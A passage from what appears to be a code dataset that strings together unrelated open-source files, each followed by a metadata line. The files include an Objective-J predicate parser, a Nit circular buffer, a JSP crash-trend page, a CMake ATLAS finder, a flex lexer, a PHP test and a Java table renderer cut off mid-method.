objj_msgSend(_5e,"scanString:intoString:","h",NULL);
if(objj_msgSend(_5e,"isAtEnd")==NO){
c=objj_msgSend(objj_msgSend(_5e,"string"),"characterAtIndex:",objj_msgSend(_5e,"scanLocation"));
if(c=="i"||c=="u"){
objj_msgSend(_5e,"setScanLocation:",objj_msgSend(_5e,"scanLocation")+1);
return objj_msgSend(CPExpression,"expressionForConstantValue:",objj_msgSend(_5e,"nextArg"));
}
}
break;
case "q":
objj_msgSend(_5e,"scanString:intoString:","q",NULL);
if(objj_msgSend(_5e,"isAtEnd")==NO){
c=objj_msgSend(objj_msgSend(_5e,"string"),"characterAtIndex:",objj_msgSend(_5e,"scanLocation"));
if(c=="i"||c=="u"||c=="x"||c=="X"){
objj_msgSend(_5e,"setScanLocation:",objj_msgSend(_5e,"scanLocation")+1);
return objj_msgSend(CPExpression,"expressionForConstantValue:",objj_msgSend(_5e,"nextArg"));
}
}
break;
}
}
objj_msgSend(_5e,"setScanLocation:",_61);
}
if(objj_msgSend(_5e,"scanString:intoString:","\"",NULL)){
var _66=objj_msgSend(_5e,"charactersToBeSkipped"),str;
objj_msgSend(_5e,"setCharactersToBeSkipped:",nil);
if(objj_msgSend(_5e,"scanUpToString:intoString:","\"",function(_67){
var _68=str;
if(typeof _67!="undefined"){
str=_67;
}
return _68;
})==NO){
objj_msgSend(_5e,"setCharactersToBeSkipped:",_66);
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid double quoted literal at "+_61);
}
objj_msgSend(_5e,"scanString:intoString:","\"",NULL);
objj_msgSend(_5e,"setCharactersToBeSkipped:",_66);
return objj_msgSend(CPExpression,"expressionForConstantValue:",str);
}
if(objj_msgSend(_5e,"scanString:intoString:","'",NULL)){
var _66=objj_msgSend(_5e,"charactersToBeSkipped"),str;
objj_msgSend(_5e,"setCharactersToBeSkipped:",nil);
if(objj_msgSend(_5e,"scanUpToString:intoString:","'",function(_69){
var _6a=str;
if(typeof _69!="undefined"){
str=_69;
}
return _6a;
})==NO){
objj_msgSend(_5e,"setCharactersToBeSkipped:",_66);
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid single quoted literal at "+_61);
}
objj_msgSend(_5e,"scanString:intoString:","'",NULL);
objj_msgSend(_5e,"setCharactersToBeSkipped:",_66);
return objj_msgSend(CPExpression,"expressionForConstantValue:",str);
}
if(objj_msgSend(_5e,"scanString:intoString:","@",NULL)){
var e=objj_msgSend(_5e,"parseExpression");
if(!objj_msgSend(e,"keyPath")){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid keypath identifier: "+e);
}
return objj_msgSend(CPExpression,"expressionForKeyPath:",objj_msgSend(e,"keyPath")+"@");
}
objj_msgSend(_5e,"scanString:intoString:","#",NULL);
if(!_60){
_60=objj_msgSend(CPCharacterSet,"characterSetWithCharactersInString:","_$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
}
if(!objj_msgSend(_5e,"scanCharactersFromSet:intoString:",_60,function(_6b){
var _6c=_62;
if(typeof _6b!="undefined"){
_62=_6b;
}
return _6c;
})){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Missing identifier: "+objj_msgSend(objj_msgSend(_5e,"string"),"substringFromIndex:",objj_msgSend(_5e,"scanLocation")));
}
return objj_msgSend(CPExpression,"expressionForKeyPath:",_62);
}
}),new objj_method(sel_getUid("parseFunctionalExpression"),function(_6d,_6e){
with(_6d){
var _6f=objj_msgSend(_6d,"parseSimpleExpression");
while(YES){
if(objj_msgSend(_6d,"scanString:intoString:","(",NULL)){
var _70=objj_msgSend(CPMutableArray,"arrayWithCapacity:",5);
if(!objj_msgSend(_6f,"keyPath")){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid function identifier: "+_6f);
}
if(!objj_msgSend(_6d,"scanString:intoString:",")",NULL)){
objj_msgSend(_70,"addObject:",objj_msgSend(_6d,"parseExpression"));
while(objj_msgSend(_6d,"scanString:intoString:",",",NULL)){
objj_msgSend(_70,"addObject:",objj_msgSend(_6d,"parseExpression"));
}
if(!objj_msgSend(_6d,"scanString:intoString:",")",NULL)){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Missing ) in function arguments");
}
}
_6f=objj_msgSend(CPExpression,"expressionForFunction:arguments:",objj_msgSend(_6f,"keyPath"),_70);
}else{
if(objj_msgSend(_6d,"scanString:intoString:","[",NULL)){
if(objj_msgSend(_6d,"scanPredicateKeyword:","FIRST")){
_6f=objj_msgSend(CPExpression,"expressionForFunction:arguments:","first",objj_msgSend(CPArray,"arrayWithObject:",objj_msgSend(_6d,"parseExpression")));
}else{
if(objj_msgSend(_6d,"scanPredicateKeyword:","LAST")){
_6f=objj_msgSend(CPExpression,"expressionForFunction:arguments:","last",objj_msgSend(CPArray,"arrayWithObject:",objj_msgSend(_6d,"parseExpression")));
}else{
if(objj_msgSend(_6d,"scanPredicateKeyword:","SIZE")){
_6f=objj_msgSend(CPExpression,"expressionForFunction:arguments:","count",objj_msgSend(CPArray,"arrayWithObject:",objj_msgSend(_6d,"parseExpression")));
}else{
_6f=objj_msgSend(CPExpression,"expressionForFunction:arguments:","index",objj_msgSend(CPArray,"arrayWithObjects:",_6f,objj_msgSend(_6d,"parseExpression")));
}
}
}
if(!objj_msgSend(_6d,"scanString:intoString:","]",NULL)){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Missing ] in index argument");
}
}else{
if(objj_msgSend(_6d,"scanString:intoString:",".",NULL)){
if(!objj_msgSend(_6f,"keyPath")){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid left keypath:"+_6f);
}
var _71=objj_msgSend(_6d,"parseExpression");
if(!objj_msgSend(_71,"keyPath")){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid right keypath:"+_71);
}
_6f=objj_msgSend(CPExpression,"expressionForKeyPath:",objj_msgSend(_6f,"keyPath")+"."+objj_msgSend(_71,"keyPath"));
}else{
return _6f;
}
}
}
}
}
}),new objj_method(sel_getUid("parsePowerExpression"),function(_72,_73){
with(_72){
var _74=objj_msgSend(_72,"parseFunctionalExpression");
while(YES){
var _75;
if(objj_msgSend(_72,"scanString:intoString:","**",NULL)){
_75=objj_msgSend(_72,"parseFunctionalExpression");
_74=objj_msgSend(CPExpression,"expressionForFunction:arguments:","pow",objj_msgSend(CPArray,"arrayWithObjects:",_74,_75));
}else{
return _74;
}
}
}
}),new objj_method(sel_getUid("parseMultiplicationExpression"),function(_76,_77){
with(_76){
var _78=objj_msgSend(_76,"parsePowerExpression");
while(YES){
var _79;
if(objj_msgSend(_76,"scanString:intoString:","*",NULL)){
_79=objj_msgSend(_76,"parsePowerExpression");
_78=objj_msgSend(CPExpression,"expressionForFunction:arguments:","_mul",objj_msgSend(CPArray,"arrayWithObjects:",_78,_79));
}else{
if(objj_msgSend(_76,"scanString:intoString:","/",NULL)){
_79=objj_msgSend(_76,"parsePowerExpression");
_78=objj_msgSend(CPExpression,"expressionForFunction:arguments:","_div",objj_msgSend(CPArray,"arrayWithObjects:",_78,_79));
}else{
return _78;
}
}
}
}
}),new objj_method(sel_getUid("parseAdditionExpression"),function(_7a,_7b){
with(_7a){
var _7c=objj_msgSend(_7a,"parseMultiplicationExpression");
while(YES){
var _7d;
if(objj_msgSend(_7a,"scanString:intoString:","+",NULL)){
_7d=objj_msgSend(_7a,"parseMultiplicationExpression");
_7c=objj_msgSend(CPExpression,"expressionForFunction:arguments:","_add",objj_msgSend(CPArray,"arrayWithObjects:",_7c,_7d));
}else{
if(objj_msgSend(_7a,"scanString:intoString:","-",NULL)){
_7d=objj_msgSend(_7a,"parseMultiplicationExpression");
_7c=objj_msgSend(CPExpression,"expressionForFunction:arguments:","_sub",objj_msgSend(CPArray,"arrayWithObjects:",_7c,_7d));
}else{
return _7c;
}
}
}
}
}),new objj_method(sel_getUid("parseBinaryExpression"),function(_7e,_7f){
with(_7e){
var _80=objj_msgSend(_7e,"parseAdditionExpression");
while(YES){
var _81;
if(objj_msgSend(_7e,"scanString:intoString:",":=",NULL)){
_81=objj_msgSend(_7e,"parseAdditionExpression");
}else{
return _80;
}
}
}
})]);
objj_executeFile("CPCompoundPredicate.j",YES);
objj_executeFile("CPComparisonPredicate.j",YES);
objj_executeFile("CPExpression.j",YES);
objj_executeFile("CPExpression_operator.j",YES);
objj_executeFile("CPExpression_aggregate.j",YES);
objj_executeFile("CPExpression_assignment.j",YES);
e; | Objective-J | 5 | Me1000/CappInventory | Build/Desktop/Inventory/Inventory.app/Contents/Resources/Inventory/Frameworks/Foundation/ObjJ.environment/Foundation.sj | [
"MIT"
] |
# This module implements a circular buffer.
module circular_buffer
# Class CircularBuffer implements buffer that holds at most the last
# `capacity` elements written to it.
class CircularBuffer
super SimpleCollection[String]
# capacity is the size of the circular buffer.
private var capacity: Int
# next_index is the index at which the next element will go.
private var next_index: Int = 0
# buffer is the internal store of the circular buffer.
private var buffer = new Array[String]
init do
assert capacity > 0
buffer.enlarge(capacity)
end
redef fun length do return buffer.length
redef fun iterator do return new CircularBufferIterator(self)
# add writes the provided element in the circular buffer.
redef fun add(s) do
if buffer.length == next_index then
buffer.add(s)
else
buffer[next_index] = s
end
next_index = (next_index + 1) % capacity
end
# TODO : implement remove?
redef fun remove(item) do abort
# TODO : will need an enlarge method, as the buffer required to hold
# a hit may be > than the contextual lines + 1, because more hits can
# occur within the contextual lines.
redef fun clear do
buffer.clear
next_index = 0
end
end
private class CircularBufferIterator
super Iterator[String]
var ix: Int = 0
var iters: Int = 0
var buf: CircularBuffer
init do
# start index goes like this: if the buffer is not filled to
# capacity, then first element is index 0, otherwise first
# element == next_index
if buf.length == buf.capacity then ix = buf.next_index
end
redef fun item do
assert is_ok
return buf.buffer[ix]
end
redef fun next do
ix = (ix + 1) % buf.capacity
iters += 1
end
redef fun is_ok do
return iters < buf.length
end
end
| Nit | 4 | PuerkitoBio/nitfind | circular_buffer.nit | [
"BSD-3-Clause"
] |
<%@ page contentType="text/html; charset=utf-8"%>
<%@ taglib prefix="a" uri="/WEB-INF/app.tld"%>
<%@ taglib prefix="w" uri="http://www.unidal.org/web/core"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%@ taglib prefix="res" uri="http://www.unidal.org/webres"%>
<%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions" %>
<%@ taglib prefix='fmt' uri="http://java.sun.com/jsp/jstl/fmt" %>
<jsp:useBean id="ctx" type="com.dianping.cat.report.page.crash.Context" scope="request" />
<jsp:useBean id="payload" type="com.dianping.cat.report.page.crash.Payload" scope="request" />
<jsp:useBean id="model" type="com.dianping.cat.report.page.crash.Model" scope="request" />
<a:mobile>
<script type="text/javascript">
function check() {
var value = document.getElementById("checkbox").checked;
if (value == true) {
$('#history').slideDown();
$("#startTime2").val($("#startTime").val());
$("#endTime2").val($("#endTime").val());
$("#appName2").val($("#appName").val());
$("#appVersion2").val($("#appVersion").val());
$("#platVersion2").val($("#platVersion").val());
$("#modules2").val($("#modules").val());
$("#device2").val($("#device").val());
$("#platform2").val($("#platform").val());
} else {
$('#history').slideUp();
}
}
function getDate() {
var myDate = new Date();
var myMonth = new Number(myDate.getMonth());
var month = myMonth + 1;
var day = myDate.getDate();
if(month<10){
month = '0' + month;
}
if(day<10){
day = '0' + day;
}
return myDate.getFullYear() + "-" + month + "-" + day + " 00:00";
}
function getTime(){
var myDate = new Date();
var myHour = new Number(myDate.getHours());
var myMinute = new Number(myDate.getMinutes());
if(myHour < 10){
myHour = '0' + myHour;
}
if(myMinute < 10){
myMinute = '0' + myMinute;
}
return myHour + ":" + myMinute;
}
function query() {
var times = $("#startTime").val().split(" ");
var period = times[0];
var startTime = times[1];
var endTime = $("#endTime").val();
var appName = $("#appName").val();
var appVersion = $("#appVersion").val();
var platVersion = $("#platVersion").val();
var module = $("#modules").val();
var platform = $("#platform").val();
var split = ";";
var query1 = period + split + startTime + split + endTime + split + appName + split + appVersion
+ split + platVersion + split + module + split + platform;
var query2 = "";
var value = document.getElementById("checkbox").checked;
if (value == true) {
var times2 = $("#startTime2").val().split(" ");
var period2 = times2[0];
var startTime2 = times2[1];
var endTime2 = $("#endTime2").val();
var appName2 = $("#appName2").val();
var appVersion2 = $("#appVersion2").val();
var platVersion2 = $("#platVersion2").val();
var module2 = $("#modules2").val();
var platform2 = $("#platform2").val();
query2 = period2 + split + startTime2 + split + endTime2 + split + appName2 + split + appVersion2
+ split + platVersion2 + split + module2 + split + platform2;
}
window.location.href = "?op=appCrashTrend&query1=" + query1 + "&query2=" + query2;
}
$(document).ready(
function() {
$('#App_report').addClass("active open");
$('#appCrashTrend').addClass('active');
$('#startTime').datetimepicker({
format:'Y-m-d H:i',
step:30,
maxDate:0
});
$('#endTime').datetimepicker({
datepicker:false,
format:'H:i',
step:30,
maxDate:0
});
$('#startTime2').datetimepicker({
format:'Y-m-d H:i',
step:30,
maxDate:0
});
$('#endTime2').datetimepicker({
datepicker:false,
format:'H:i',
step:30,
maxDate:0
});
var query1 = '${payload.query1}';
var query2 = '${payload.query2}';
var words = query1.split(";");
if ((typeof (words[0]) != "undefined" && words[0].length == 0)
|| typeof (words[0]) == "undefined") {
$("#startTime").val(getDate());
} else {
$("#startTime").val(words[0] + " " + words[1]);
}
if ((typeof (words[2]) != "undefined" && words[2].length == 0)
|| typeof (words[2]) == "undefined" ) {
$("#endTime").val(getTime());
} else {
$("#endTime").val(words[2]);
}
if (typeof(words[3]) == 'undefined' || words[3] == ''){
$("#appName").val("1");
} else {
$("#appName").val(words[3]);
}
$("#appVersion").val(words[4]);
$("#platVersion").val(words[5]);
$("#modules").val(words[6]);
if (typeof(words[7]) == 'undefined' || words[7] == ''){
$("#platform").val("1");
} else {
$("#platform").val(words[7]);
}
var datePair = {};
datePair["当前值"]=$("#startTime").val().split(" ")[0];
if (query2 != null && query2 != '') {
$('#history').slideDown();
document.getElementById("checkbox").checked = true;
var words = query2.split(";");
if (typeof (words[0]) != "undefined"
&& words[0].length == 0) {
$("#startTime2").val(getDate());
} else {
$("#startTime2").val(words[0] + " " + words[1]);
}
if (typeof (words[2]) != "undefined"
&& words[2].length == 0) {
$("#endTime2").val(getTime());
} else {
$("#endTime2").val(words[2]);
}
datePair["对比值"]=$("#startTime2").val().split(" ")[0];
$("#appName2").val(words[3]);
$("#appVersion2").val(words[4]);
$("#platVersion2").val(words[5]);
$("#modules2").val(words[6]);
if (typeof(words[7]) == 'undefined' || words[7] == ''){
$("#platform2").val("1");
} else {
$("#platform2").val(words[7]);
}
} else {
$("#startTime2").val(getTime());
}
var data = ${model.crashLogDisplayInfo.lineChart.jsonString};
graphMetricChartForDay(document.getElementById('${model.crashLogDisplayInfo.lineChart.id}'), data, datePair);
});
</script>
<%@include file="appCrashTrendDetail.jsp"%>
</a:mobile>
<style type="text/css">
.row-fluid .span2 {
width: 10%;
}
.row-fluid .span10 {
width: 87%;
}
</style> | Java Server Pages | 3 | woozhijun/cat | cat-home/src/main/webapp/jsp/report/crash/appCrashTrend.jsp | [
"Apache-2.0"
] |
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#ifndef TENSORFLOW_CORE_KERNELS_DATA_REDUCE_DATASET_OP_H_
#define TENSORFLOW_CORE_KERNELS_DATA_REDUCE_DATASET_OP_H_
#include "tensorflow/core/data/captured_function.h"
#include "tensorflow/core/framework/op_kernel.h"
#include "tensorflow/core/framework/tensor_shape.h"
#include "tensorflow/core/framework/types.h"
#include "tensorflow/core/kernels/data/iterator_ops.h"
namespace tensorflow {
namespace data {
class ReduceDatasetOp : public HybridAsyncOpKernel {
public:
explicit ReduceDatasetOp(OpKernelConstruction* ctx);
protected:
Status DoCompute(OpKernelContext* ctx) override;
std::shared_ptr<FunctionMetadata> func_metadata_ = nullptr;
DataTypeVector output_types_;
std::vector<PartialTensorShape> output_shapes_;
};
} // namespace data
} // namespace tensorflow
#endif // TENSORFLOW_CORE_KERNELS_DATA_REDUCE_DATASET_OP_H_
| C | 3 | EricRemmerswaal/tensorflow | tensorflow/core/kernels/data/reduce_dataset_op.h | [
"Apache-2.0"
] |
;;; lang/scala/autoload.el -*- lexical-binding: t; -*-
;;;###autoload
(defun +scala-comment-indent-new-line-fn (&optional _)
"Continue the commnt on the current line.
Meant to be used for `scala-mode's `comment-line-break-function'."
(let* ((state (syntax-ppss))
(comment-start-pos (nth 8 state)))
(save-match-data
(cond ((and (integerp (nth 4 state))
;; Ensure that we're inside a scaladoc comment
(string-match-p "^/\\*\\*?[^\\*]?"
(buffer-substring-no-properties
comment-start-pos
(min (+ comment-start-pos 4)
(point-max))))
(progn
(setq prev-line (buffer-substring-no-properties
(line-beginning-position 0)
(line-end-position 0)))
(or (string-match "^\\s-*\\*" prev-line)
(string-match "\\s-*/*" prev-line))))
(newline nil t)
(indent-according-to-mode)
(insert (make-string (max 0 (- (1- (match-end 0))
(match-beginning 0)))
? )
"*")
(scala-indent:indent-on-scaladoc-asterisk))
((nth 4 state) ; for line comments
(call-interactively #'comment-indent-new-line))
(t
(newline nil t)
(indent-according-to-mode))))))
;;;###autoload
(defun +scala/open-repl ()
"Open a scala repl. Uses `run-scala' if in a sbt project."
(interactive)
(if (and (require 'sbt-mode nil t)
(sbt:find-root))
(let ((buffer-name (sbt:buffer-name)))
(when (and (get-buffer buffer-name) (not (comint-check-proc buffer-name)))
(kill-buffer buffer-name))
(run-scala)
(get-buffer buffer-name))
(let* ((buffer-name "*scala-repl")
(buffer
(if (comint-check-proc buffer-name)
(get-buffer buffer-name)
(make-comint-in-buffer "scala-repl" buffer-name "scala"))))
(display-buffer buffer)
buffer)))
| Emacs Lisp | 5 | leezu/doom-emacs | modules/lang/scala/autoload.el | [
"MIT"
] |
<mt:CategorySets content_type="ニュース">
<mt:ArchiveList type="ContentType-Category">
<mt:ArchiveListHeader>
<section class="content-side-section content-side-section-box">
<div class="content-side-section-box-title"><mt:CategorySetName></div>
<ul class="text-smaller">
</mt:ArchiveListHeader>
<li><a href="<mt:ArchiveLink>"><mt:ArchiveTitle></a></li>
<mt:ArchiveListFooter>
</ul>
</section>
</mt:ArchiveListFooter>
</mt:ArchiveList>
</mt:CategorySets>
<mt:ArchiveList type="ContentType-Yearly" content_type="ニュース">
<mt:ArchiveListHeader>
<section class="content-side-section content-side-section-box">
<div class="content-side-section-box-title">年別アーカイブ</div>
<ul class="text-smaller">
</mt:ArchiveListHeader>
<li><a href="<mt:ArchiveLink>"><mt:ArchiveTitle></a></li>
<mt:ArchiveListFooter>
</ul>
</section>
</mt:ArchiveListFooter>
</mt:ArchiveList>
| MTML | 2 | movabletype/mt-theme-jungfrau | themes/jungfrau/templates/template_450.mtml | [
"MIT"
] |
div>p.svelte-xyz{color:red} | CSS | 2 | Theo-Steiner/svelte | test/css/samples/omit-scoping-attribute-descendant-global-outer/expected.css | [
"MIT"
] |
#COPYRIGHT
#
#All contributions by the University of California:
#Copyright (c) 2014, 2015, The Regents of the University of California (Regents)
#All rights reserved.
#
#All other contributions:
#Copyright (c) 2014, 2015, the respective contributors
#All rights reserved.
#
#Caffe uses a shared copyright model: each contributor holds copyright over
#their contributions to Caffe. The project versioning records all such
#contribution and copyright details. If a contributor wants to further mark
#their specific copyright on a particular contribution, they should indicate
#their copyright solely in the commit message of the change when it is
#committed.
#
#LICENSE
#
#Redistribution and use in source and binary forms, with or without
#modification, are permitted provided that the following conditions are met:
#
#1. Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
#CONTRIBUTION AGREEMENT
#
#By contributing to the BVLC/caffe repository through pull-request, comment,
#or otherwise, the contributor releases their content to the
#license and copyright terms herein.
# Find the Atlas (and Lapack) libraries
#
# The following variables are optionally searched for defaults
# Atlas_ROOT_DIR: Base directory where all Atlas components are found
#
# The following are set after configuration is done:
# Atlas_FOUND
# Atlas_INCLUDE_DIRS
# Atlas_LIBRARIES
# Atlas_LIBRARYRARY_DIRS
set(Atlas_INCLUDE_SEARCH_PATHS
/usr/include/atlas
/usr/include/atlas-base
$ENV{Atlas_ROOT_DIR}
$ENV{Atlas_ROOT_DIR}/include
)
set(Atlas_LIB_SEARCH_PATHS
/usr/lib/atlas
/usr/lib/atlas-base
$ENV{Atlas_ROOT_DIR}
$ENV{Atlas_ROOT_DIR}/lib
)
find_path(Atlas_CBLAS_INCLUDE_DIR NAMES cblas.h PATHS ${Atlas_INCLUDE_SEARCH_PATHS})
find_path(Atlas_CLAPACK_INCLUDE_DIR NAMES lapacke.h PATHS ${Atlas_INCLUDE_SEARCH_PATHS})
find_library(Atlas_CBLAS_LIBRARY NAMES ptcblas_r ptcblas cblas_r cblas PATHS ${Atlas_LIB_SEARCH_PATHS})
find_library(Atlas_BLAS_LIBRARY NAMES atlas_r atlas PATHS ${Atlas_LIB_SEARCH_PATHS})
find_library(Atlas_LAPACK_LIBRARY NAMES lapack alapack_r alapack lapack_atlas PATHS ${Atlas_LIB_SEARCH_PATHS})
set(LOOKED_FOR
Atlas_CBLAS_INCLUDE_DIR
Atlas_CLAPACK_INCLUDE_DIR
Atlas_CBLAS_LIBRARY
Atlas_BLAS_LIBRARY
Atlas_LAPACK_LIBRARY
)
include(FindPackageHandleStandardArgs)
find_package_handle_standard_args(Atlas DEFAULT_MSG ${LOOKED_FOR})
if(ATLAS_FOUND)
set(Atlas_INCLUDE_DIR ${Atlas_CBLAS_INCLUDE_DIR} ${Atlas_CLAPACK_INCLUDE_DIR})
set(Atlas_LIBRARIES ${Atlas_LAPACK_LIBRARY} ${Atlas_CBLAS_LIBRARY} ${Atlas_BLAS_LIBRARY})
mark_as_advanced(${LOOKED_FOR})
message(STATUS "Found Atlas (include: ${Atlas_CBLAS_INCLUDE_DIR}, library: ${Atlas_BLAS_LIBRARY})")
endif(ATLAS_FOUND) | CMake | 4 | thisisgopalmandal/opencv | cmake/OpenCVFindAtlas.cmake | [
"BSD-3-Clause"
] |
@echo off
yarn %*
| Batchfile | 1 | sbj42/vscode | scripts/npm.bat | [
"MIT"
] |
%{
#include <string>
#include "tile/lang/parser.y.h"
%}
%option reentrant bison-bridge
%option noyywrap never-interactive
id [A-Z][a-zA-Z0-9_]*'?
iid [a-z][a-zA-Z0-9_]*'?
sid #[A-Za-z][a-zA-Z0-9_]*'?
siid $[A-Za-z][a-zA-Z0-9_]*'?
float [0-9]+(\.[0-9]+|([\.0-9]+)?[eE][-+]?[0-9]+)
int [0-9]+
white [ \t\r]
newline [\n]
%%
"function" { return FUNCTION; }
"polynomial" { return POLYNOMIAL; }
"expression" { return EXPRESSION; }
"contraction" { return CONTRACTION; }
"default" { return DEFAULT; }
"no_defract" { return NO_DEFRACT; }
{float} { yylval->s = yytext; return FLOAT_LITERAL; }
{int} { yylval->i = std::atol(yytext); return INT_LITERAL; }
{id} { yylval->s = yytext; return ID; }
{iid} { yylval->s = yytext; return IDXID; }
{sid} { yylval->s = yytext + 1; return ID; }
{siid} { yylval->s = yytext + 1; return IDXID; }
"." { return DOT; }
"*" { return MULT; }
"/" { return DIV; }
"+" { return PLUS; }
"-" { return MINUS; }
"==" { return EQ; }
"!=" { return NE; }
"=" { return ASSIGN; }
">" { return GT; }
"<" { return LT; }
">=" { return GE; }
"<=" { return LE; }
"->" { return ARROW; }
"[" { return LBRACE; }
"]" { return RBRACE; }
"[[" { return LLBRACE; }
"]]" { return RRBRACE; }
"(" { return LPAREN; }
")" { return RPAREN; }
"{" { return LCURLY; }
"}" { return RCURLY; }
"," { return COMMA; }
"&" { return BIT_AND; }
"|" { return BIT_OR; }
"^" { return BIT_XOR; }
"~" { return BIT_NOT; }
"<<" { return BIT_LEFT; }
">>" { return BIT_RIGHT; }
":" { return COLON; }
";" { return SEMICOLON; }
"?" { return QUESTION; }
{white} {}
{newline} {}
| Lex | 4 | redoclag/plaidml | tile/lang/tile.lex | [
"Apache-2.0"
] |
FORMAT: 1A
# Beehive API
## Honey [/honey{?beekeeper}]
### GET
+ Parameters
+ beekeeper: `Pavan` (string, optional) - Beekeeper.
Description...
+ Default: `Honza`
+ Members
+ `Adam` - Adam K.
+ `Pavan` - Pavan S.
+ `Honza` - Honza J.
+ Response 200
| API Blueprint | 4 | tomoyamachi/dredd | packages/dredd-transactions/test/fixtures/apib/prefer-sample.apib | [
"MIT"
] |
--TEST--
Test typed properties error condition (type mismatch object)
--FILE--
<?php
class Dummy {}
new class(new Dummy) {
public stdClass $std;
public function __construct(Dummy $dummy) {
$this->std = $dummy;
}
};
?>
--EXPECTF--
Fatal error: Uncaught TypeError: Cannot assign Dummy to property class@anonymous::$std of type stdClass in %s:%d
Stack trace:
#0 %s(%d): class@anonymous->__construct(Object(Dummy))
#1 {main}
thrown in %s on line %d
| PHP | 4 | thiagooak/php-src | Zend/tests/type_declarations/typed_properties_005.phpt | [
"PHP-3.01"
] |
package com.taobao.arthas.core.view;
import com.taobao.arthas.core.util.Constants;
import com.taobao.arthas.core.util.StringUtils;
import java.io.StringReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
import static java.lang.Math.abs;
import static java.lang.Math.max;
import static java.lang.String.format;
/**
* 表格控件
* Created by vlinux on 15/5/7.
*/
public class TableView implements View {
/**
* 上边框
*/
public static final int BORDER_TOP = 1;
/**
* 下边框
*/
public static final int BORDER_BOTTOM = 1 << 1;
// 各个列的定义
private final ColumnDefine[] columnDefineArray;
// 是否渲染边框
private boolean hasBorder;
// 边框
private int borders = BORDER_TOP | BORDER_BOTTOM;
// 内填充
private int padding;
public TableView(ColumnDefine[] columnDefineArray) {
this.columnDefineArray = null == columnDefineArray
? new ColumnDefine[0]
: columnDefineArray;
}
public TableView(int columnNum) {
this.columnDefineArray = new ColumnDefine[columnNum];
for (int index = 0; index < this.columnDefineArray.length; index++) {
columnDefineArray[index] = new ColumnDefine();
}
}
private boolean isAnyBorder(int... borders) {
if (null == borders) {
return false;
}
for (int b : borders) {
if ((this.borders & b) == b) {
return true;
}
}
return false;
}
/**
* 获取表格边框设置
*
* @return 边框位
*/
public int borders() {
return borders;
}
/**
* 设置表格边框
*
* @param border 边框位
* @return this
*/
public TableView borders(int border) {
this.borders = border;
return this;
}
@Override
public String draw() {
final StringBuilder tableSB = new StringBuilder();
// init width cache
final int[] widthCacheArray = new int[getColumnCount()];
for (int index = 0; index < widthCacheArray.length; index++) {
widthCacheArray[index] = abs(columnDefineArray[index].getWidth());
}
final int tableHigh = getTableHigh();
for (int rowIndex = 0; rowIndex < tableHigh; rowIndex++) {
final boolean isFirstRow = rowIndex == 0;
final boolean isLastRow = rowIndex == tableHigh - 1;
// 打印首分隔行
if (isFirstRow
&& hasBorder()
&& isAnyBorder(BORDER_TOP)) {
tableSB.append(drawSeparationLine(widthCacheArray)).append("\n");
}
// 打印内部分割行
if (!isFirstRow
&& hasBorder()) {
tableSB.append(drawSeparationLine(widthCacheArray)).append("\n");
}
// 绘一行
tableSB.append(drawRow(widthCacheArray, rowIndex));
// 打印结尾分隔行
if (isLastRow
&& hasBorder()
&& isAnyBorder(BORDER_BOTTOM)) {
// 打印分割行
tableSB.append(drawSeparationLine(widthCacheArray)).append("\n");
}
}
return tableSB.toString();
}
private String drawRow(int[] widthCacheArray, int rowIndex) {
final StringBuilder rowSB = new StringBuilder();
final Scanner[] scannerArray = new Scanner[getColumnCount()];
try {
boolean hasNext;
do {
hasNext = false;
final StringBuilder segmentSB = new StringBuilder();
for (int colIndex = 0; colIndex < getColumnCount(); colIndex++) {
final String borderChar = hasBorder() ? "|" : Constants.EMPTY_STRING;
final int width = widthCacheArray[colIndex];
final boolean isLastColOfRow = colIndex == widthCacheArray.length - 1;
if (null == scannerArray[colIndex]) {
scannerArray[colIndex] = new Scanner(
new StringReader(StringUtils.wrap(getData(rowIndex, columnDefineArray[colIndex]), width)));
}
final Scanner scanner = scannerArray[colIndex];
final String data;
if (scanner.hasNext()) {
data = scanner.nextLine();
hasNext = true;
} else {
data = Constants.EMPTY_STRING;
}
if (width > 0) {
final ColumnDefine columnDefine = columnDefineArray[colIndex];
final String dataFormat = getDataFormat(columnDefine, width);
